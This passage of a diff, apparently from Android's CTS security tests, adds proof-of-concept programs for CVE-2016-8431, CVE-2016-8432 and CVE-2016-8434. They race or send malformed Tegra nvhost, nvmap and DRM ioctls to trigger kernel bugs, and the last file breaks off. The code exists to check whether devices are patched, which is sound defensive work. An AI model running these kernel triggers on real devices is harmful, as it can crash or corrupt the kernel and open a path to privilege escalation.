+    g_real_alloc.flags = NVMAP_HANDLE_ZEROED_PAGES;
+    g_real_alloc.handle = handle;
+    ioctl(g_nvmap_fd, NVMAP_IOC_ALLOC, &g_real_alloc);
+}
+void prepare_data() {
+    g_error_notifier.offset = 0;
+    g_error_notifier.mem = g_nvmap_hdl.handle;
+}
+
+void trigger_set_error_notifier() {
+    ioctl(g_fd, NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER, &g_error_notifier);
+}
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+    setpriority(PRIO_PROCESS, gettid(), privi);
+
+    /* bind process to a CPU*/
+    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+    }
+}
+
+void* race_thread(void* arg) {
+    setup_privi_and_affinity(-19, 2);
+    pthread_mutex_lock(&mutex);
+    pthread_cond_wait(&cond, &mutex);
+    pthread_mutex_unlock(&mutex);
+    while (1) {
+        trigger_set_error_notifier();
+    }
+    return NULL;
+}
+
+void* race_thread_2(void* arg) {
+    setup_privi_and_affinity(-19, 1);
+    pthread_mutex_lock(&mutex);
+    pthread_cond_wait(&cond, &mutex);
+    pthread_mutex_unlock(&mutex);
+    while (1) {
+        trigger_set_error_notifier();
+    }
+    return NULL;
+}
+
+int main(int argc, char**argv) {
+    setup_privi_and_affinity(0, 1);
+    if (open_driver() < 0) {
+        return -1;
+    }
+    //trigger_nvmap_create();
+    trigger_nvmap_alloc(trigger_nvmap_create());
+    prepare_data();
+    //trigger_nvmap_free();
+    pthread_t tid;
+    pthread_create(&tid, NULL, race_thread, NULL);
+    pthread_create(&tid, NULL, race_thread_2, NULL);
+    usleep(100 * 1000);
+    pthread_cond_broadcast(&cond);
+
+    sleep(100);
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk
new file mode 100644
index 0000000..d0ef823
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8431
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8431/local_poc.h b/hostsidetests/security/securityPatch/CVE-2016-8431/local_poc.h
new file mode 100644
index 0000000..c74db80
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8431/local_poc.h
@@ -0,0 +1,245 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __LOCAL_POC_H__
+#define __LOCAL_POC_H__
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_TEGRA_GEM_CREATE		0x00
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+#define DRM_TEGRA_SUBMIT		0x08
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+        __u64 context;
+};
+
+struct drm_tegra_close_channel {
+        __u64 context;
+};
+
+struct drm_tegra_cmdbuf {
+	__u32 handle;
+	__u32 offset;
+	__u32 words;
+	__u32 pad;
+};
+
+struct host1x_waitchk {
+	struct host1x_bo *bo;
+	__u32 offset;
+	__u32 syncpt_id;
+	__u32 thresh;
+};
+
+struct drm_tegra_waitchk {
+	__u32 handle;
+	__u32 offset;
+	__u32 syncpt;
+	__u32 thresh;
+};
+
+struct drm_tegra_submit {
+	__u64 context;
+	__u32 num_syncpts;
+	__u32 num_cmdbufs;
+	__u32 num_relocs;
+	__u32 num_waitchks;
+	__u32 waitchk_mask;
+	__u32 timeout;
+	__u64 syncpts;
+	__u64 cmdbufs;
+	__u64 relocs;
+	__u64 waitchks;
+	__u32 fence;		/* Return value */
+	__u32 reserved0;
+	__u64 fences;
+	__u32 reserved1[2];	/* future expansion */
+};
+
+struct drm_tegra_gem_create {
+	__u64 size;
+	__u32 flags;
+	__u32 handle;
+};
+
+struct drm_gem_close {
+	__u32 handle;
+	__u32 pad;
+};
+
+struct drm_mode_map_dumb {
+	__u32 handle;
+	__u32 pad;
+	__u64 offset;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)       _IOWR(DRM_IOCTL_BASE,nr,type)
+#define DRM_IOW(nr,type)		_IOW(DRM_IOCTL_BASE,nr,type)
+
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_SUBMIT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SUBMIT, struct drm_tegra_submit)
+#define DRM_IOCTL_TEGRA_GEM_CREATE DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_GEM_CREATE, struct drm_tegra_gem_create)
+#define DRM_IOCTL_GEM_CLOSE		DRM_IOW (0x09, struct drm_gem_close)
+#define DRM_IOCTL_MODE_MAP_DUMB    DRM_IOWR(0xB3, struct drm_mode_map_dumb)
+
+struct drm_tegra_syncpt {
+	__u32 id;
+	__u32 incrs;
+};
+
+struct list_head {
+	struct list_head *next, *prev;
+};
+
+struct kobject {
+	const char			*name;
+	struct list_head	entry;
+	struct kobject		*parent;
+	void	*kset;
+	void	*ktype;
+	void	*sd;
+	unsigned long refcount;
+	unsigned int state_initialized:1;
+	unsigned int state_in_sysfs:1;
+	unsigned int state_add_uevent_sent:1;
+	unsigned int state_remove_uevent_sent:1;
+	unsigned int uevent_suppress:1;
+};
+
+struct device {
+	struct device	*parent;
+	void	*p;
+	void*	pad0[8];
+	char	*init_name; 
+	void	*type;
+	void*	pad1[5];
+	void	*bus;
+	void	*driver;
+	void	*platform_data;
+	void	*driver_data;
+};
+
+struct host1x_info {
+	int	nb_channels;		
+	int	nb_pts;
+	int	nb_bases;
+	int	nb_mlocks;
+	int	(*init)(void *);
+	int	sync_offset;
+};
+
+struct host1x_syncpt_ops {
+	void (*restore)(void *syncpt);
+	void (*restore_wait_base)(void *syncpt);
+	void (*load_wait_base)(void *syncpt);
+	__u32 (*load)(void *syncpt);
+	int (*cpu_incr)(void *syncpt);
+	int (*patch_wait)(void *syncpt, void *patch_addr);
+};
+
+struct host1x {
+	struct host1x_info *info;
+	void	*regs;
+	void	*syncpt;
+	void	*bases;
+	struct device *dev;
+	void	*clk;
+	void	*clk_actmon;
+	void*	pad[5];
+	void	*intr_wq;
+	int intr_syncpt_irq;
+	int intr_general_irq;
+	__u32 intstatus;
+	void (*host_isr[32])(__u32, void *);
+	void *host_isr_priv[32];
+	struct host1x_syncpt_ops *syncpt_op;
+	void	*intr_op;
+	void	*channel_op;
+	void	*cdma_op;
+	void	*cdma_pb_op;
+	void	*actmon_op;
+	void	*debug_op;
+};
+
+struct host1x_client {
+	struct list_head list;
+	void *parent;
+	struct device *dev;
+	void *ops;
+};
+
+struct tegra_drm_client_ops {
+	void* open_channel;
+	void* close_channel; 
+	void* reset;
+	void* is_add_reg;
+	void* submit;
+};
+
+struct tegra_drm_client {
+	unsigned char pad[232];
+	struct list_head list;
+	struct tegra_drm_client_ops *ops;
+};
+
+struct tegra_drm_context {
+	struct tegra_drm_client *client;
+	void *channel;
+	struct list_head list;
+};
+
+struct drm_tegra_reloc {
+	struct {
+		__u32 handle;
+		__u32 offset;
+	} cmdbuf;
+	struct {
+		__u32 handle;
+		__u32 offset;
+	} target;
+	__u32 shift;
+	__u32 pad;
+};
+
+#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8431/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8431/poc.c
new file mode 100644
index 0000000..1cc0f29
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8431/poc.c
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <stdio.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/ioctl.h>
+
+#include "local_poc.h"
+
+#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
+#define ERR(fmt, ...) printf(fmt " %d %s\n", ##__VA_ARGS__, errno, strerror(errno))
+
+#define DEV "/dev/dri/renderD129"
+#define CMD_NUM		1
+
+int dev_fd;
+
+volatile struct drm_tegra_open_channel	open_c;
+volatile struct drm_tegra_submit		submit_c;
+volatile struct drm_tegra_gem_create	gem_create;
+
+struct drm_tegra_cmdbuf		cmdbufs[CMD_NUM];
+struct drm_tegra_syncpt		syncpt;
+struct drm_tegra_reloc		relocs[CMD_NUM];
+
+static int prepare()
+{
+	open_c.client = HOST1X_CLASS_VIC;
+	submit_c.num_syncpts = 1;
+	submit_c.syncpts = (__u64)&syncpt;	
+	submit_c.num_cmdbufs = CMD_NUM;
+	submit_c.cmdbufs = (__u64)cmdbufs;
+	submit_c.num_relocs = CMD_NUM;
+	submit_c.relocs = (__u64)relocs;
+	gem_create.size = PAGE_SIZE;
+	return 0;
+}
+
+int main()
+{
+	int ret;
+	int i;
+
+	dev_fd = open(DEV,O_RDONLY);
+	if(dev_fd == -1){
+		return 0;
+	}
+
+	prepare();
+
+	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+	if(ret == -1){
+		goto out_dev;
+	}
+
+	submit_c.context = open_c.context;
+
+	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_GEM_CREATE, &gem_create);
+	if(ret == 0){
+		for(i = 0; i < CMD_NUM; i++){
+			cmdbufs[i].words = 0;
+			cmdbufs[i].offset = 0;
+			cmdbufs[i].handle = gem_create.handle;
+			relocs[i].cmdbuf.handle = gem_create.handle;
+			relocs[i].cmdbuf.offset = 8192;
+			relocs[i].target.handle = gem_create.handle;
+			relocs[i].target.offset = 8192;
+		}
+		ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
+	}else{
+	}
+
+out_dev:
+	close(dev_fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk
new file mode 100644
index 0000000..614d20b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8432
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8432/local_poc.h b/hostsidetests/security/securityPatch/CVE-2016-8432/local_poc.h
new file mode 100644
index 0000000..c74db80
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8432/local_poc.h
@@ -0,0 +1,245 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __LOCAL_POC_H__
+#define __LOCAL_POC_H__
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_TEGRA_GEM_CREATE		0x00
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+#define DRM_TEGRA_SUBMIT		0x08
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+        __u64 context;
+};
+
+struct drm_tegra_close_channel {
+        __u64 context;
+};
+
+struct drm_tegra_cmdbuf {
+	__u32 handle;
+	__u32 offset;
+	__u32 words;
+	__u32 pad;
+};
+
+struct host1x_waitchk {
+	struct host1x_bo *bo;
+	__u32 offset;
+	__u32 syncpt_id;
+	__u32 thresh;
+};
+
+struct drm_tegra_waitchk {
+	__u32 handle;
+	__u32 offset;
+	__u32 syncpt;
+	__u32 thresh;
+};
+
+struct drm_tegra_submit {
+	__u64 context;
+	__u32 num_syncpts;
+	__u32 num_cmdbufs;
+	__u32 num_relocs;
+	__u32 num_waitchks;
+	__u32 waitchk_mask;
+	__u32 timeout;
+	__u64 syncpts;
+	__u64 cmdbufs;
+	__u64 relocs;
+	__u64 waitchks;
+	__u32 fence;		/* Return value */
+	__u32 reserved0;
+	__u64 fences;
+	__u32 reserved1[2];	/* future expansion */
+};
+
+struct drm_tegra_gem_create {
+	__u64 size;
+	__u32 flags;
+	__u32 handle;
+};
+
+struct drm_gem_close {
+	__u32 handle;
+	__u32 pad;
+};
+
+struct drm_mode_map_dumb {
+	__u32 handle;
+	__u32 pad;
+	__u64 offset;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)       _IOWR(DRM_IOCTL_BASE,nr,type)
+#define DRM_IOW(nr,type)		_IOW(DRM_IOCTL_BASE,nr,type)
+
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_SUBMIT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SUBMIT, struct drm_tegra_submit)
+#define DRM_IOCTL_TEGRA_GEM_CREATE DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_GEM_CREATE, struct drm_tegra_gem_create)
+#define DRM_IOCTL_GEM_CLOSE		DRM_IOW (0x09, struct drm_gem_close)
+#define DRM_IOCTL_MODE_MAP_DUMB    DRM_IOWR(0xB3, struct drm_mode_map_dumb)
+
+struct drm_tegra_syncpt {
+	__u32 id;
+	__u32 incrs;
+};
+
+struct list_head {
+	struct list_head *next, *prev;
+};
+
+struct kobject {
+	const char			*name;
+	struct list_head	entry;
+	struct kobject		*parent;
+	void	*kset;
+	void	*ktype;
+	void	*sd;
+	unsigned long refcount;
+	unsigned int state_initialized:1;
+	unsigned int state_in_sysfs:1;
+	unsigned int state_add_uevent_sent:1;
+	unsigned int state_remove_uevent_sent:1;
+	unsigned int uevent_suppress:1;
+};
+
+struct device {
+	struct device	*parent;
+	void	*p;
+	void*	pad0[8];
+	char	*init_name; 
+	void	*type;
+	void*	pad1[5];
+	void	*bus;
+	void	*driver;
+	void	*platform_data;
+	void	*driver_data;
+};
+
+struct host1x_info {
+	int	nb_channels;		
+	int	nb_pts;
+	int	nb_bases;
+	int	nb_mlocks;
+	int	(*init)(void *);
+	int	sync_offset;
+};
+
+struct host1x_syncpt_ops {
+	void (*restore)(void *syncpt);
+	void (*restore_wait_base)(void *syncpt);
+	void (*load_wait_base)(void *syncpt);
+	__u32 (*load)(void *syncpt);
+	int (*cpu_incr)(void *syncpt);
+	int (*patch_wait)(void *syncpt, void *patch_addr);
+};
+
+struct host1x {
+	struct host1x_info *info;
+	void	*regs;
+	void	*syncpt;
+	void	*bases;
+	struct device *dev;
+	void	*clk;
+	void	*clk_actmon;
+	void*	pad[5];
+	void	*intr_wq;
+	int intr_syncpt_irq;
+	int intr_general_irq;
+	__u32 intstatus;
+	void (*host_isr[32])(__u32, void *);
+	void *host_isr_priv[32];
+	struct host1x_syncpt_ops *syncpt_op;
+	void	*intr_op;
+	void	*channel_op;
+	void	*cdma_op;
+	void	*cdma_pb_op;
+	void	*actmon_op;
+	void	*debug_op;
+};
+
+struct host1x_client {
+	struct list_head list;
+	void *parent;
+	struct device *dev;
+	void *ops;
+};
+
+struct tegra_drm_client_ops {
+	void* open_channel;
+	void* close_channel; 
+	void* reset;
+	void* is_add_reg;
+	void* submit;
+};
+
+struct tegra_drm_client {
+	unsigned char pad[232];
+	struct list_head list;
+	struct tegra_drm_client_ops *ops;
+};
+
+struct tegra_drm_context {
+	struct tegra_drm_client *client;
+	void *channel;
+	struct list_head list;
+};
+
+struct drm_tegra_reloc {
+	struct {
+		__u32 handle;
+		__u32 offset;
+	} cmdbuf;
+	struct {
+		__u32 handle;
+		__u32 offset;
+	} target;
+	__u32 shift;
+	__u32 pad;
+};
+
+#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8432/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8432/poc.c
new file mode 100644
index 0000000..52b48f2
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8432/poc.c
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/ioctl.h>
+
+#include "local_poc.h"
+
+#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
+#define ERR(fmt, ...) printf(fmt " %d %s\n", ##__VA_ARGS__, errno, strerror(errno))
+
+#define DEV "/dev/dri/renderD129"
+#define CMD_NUM		100
+
+int dev_fd;
+
+volatile struct drm_tegra_open_channel	open_c;
+volatile struct drm_tegra_submit		submit_c;
+volatile struct drm_tegra_gem_create	gem_create;
+volatile struct drm_gem_close			gem_close;
+
+volatile struct drm_tegra_cmdbuf		cmdbufs[CMD_NUM];
+struct drm_tegra_syncpt		syncpt;
+volatile struct drm_tegra_reloc		relocs[CMD_NUM];
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+	}
+	return ret;
+}
+
+static int prepare()
+{
+	int i;
+
+	open_c.client = HOST1X_CLASS_VIC;
+
+	submit_c.num_syncpts = 1;
+	submit_c.syncpts = (__u64)&syncpt;	
+
+	gem_close.handle = 1;
+
+	for(i = 0; i < CMD_NUM; i++){
+		cmdbufs[i].words = 0;
+		cmdbufs[i].offset = 0;
+		cmdbufs[i].handle = 0;
+		relocs[i].cmdbuf.handle = 0;
+		relocs[i].cmdbuf.offset = 0;
+		relocs[i].target.handle = 0;
+		relocs[i].target.offset = 0;
+	}
+
+	submit_c.num_cmdbufs = CMD_NUM;
+	submit_c.cmdbufs = (__u64)cmdbufs;
+	
+	submit_c.num_relocs = CMD_NUM;
+	submit_c.relocs = (__u64)relocs;
+
+	gem_create.size = PAGE_SIZE;
+	
+	return 0;
+}
+
+#define SUBMIT_THREAD_NUM 1
+pthread_t submit_thread_id[SUBMIT_THREAD_NUM] = { 0 };
+static void* submit_thread(void *no_use)
+{
+	set_affinity(1);
+	ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
+	return NULL;
+}
+
+int main()
+{
+	int ret;
+	int i;
+	__u64 try_time;
+
+	set_affinity(0);
+
+	dev_fd = open(DEV,O_RDONLY);
+	if(dev_fd == -1){
+		return 0;
+	}
+
+	prepare();
+
+	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+	if(ret == -1){
+		goto out_dev;
+	}
+
+	submit_c.context = open_c.context;
+
+	try_time = 1;
+	while(1){
+		ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_GEM_CREATE, &gem_create);
+		if(ret == 0){
+			for(i = 0; i < CMD_NUM; i++){
+				cmdbufs[i].handle = gem_create.handle;
+				relocs[i].cmdbuf.handle = gem_create.handle;
+				relocs[i].target.handle = gem_create.handle;
+			}
+			for(i = 0; i < SUBMIT_THREAD_NUM; i++){
+				pthread_create(submit_thread_id + i, NULL, submit_thread, NULL);
+			}
+			usleep(150);
+			while(ioctl(dev_fd, DRM_IOCTL_GEM_CLOSE, &gem_close) == 0);
+		}
+		try_time++;
+	}
+
+	for(i = 0; i < SUBMIT_THREAD_NUM; i++){
+		pthread_join(submit_thread_id[i], NULL);
+	}
+
+out_dev:
+	close(dev_fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk
new file mode 100644
index 0000000..6b20fe4
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8434
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c
new file mode 100644
index 0000000..b81ee0c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <unistd.h>
+#include <errno.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>  
+#include <unistd.h> 
+#include <sched.h>
+
+#define KGSL_CONTEXT_SAVE_GMEM		0x00000001
+#define KGSL_CONTEXT_NO_GMEM_ALLOC	0x00000002
+/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
+#define KGSL_CONTEXT_SUBMIT_IB_LIST	0x00000004
+#define KGSL_CONTEXT_CTX_SWITCH		0x00000008
+#define KGSL_CONTEXT_PREAMBLE		0x00000010
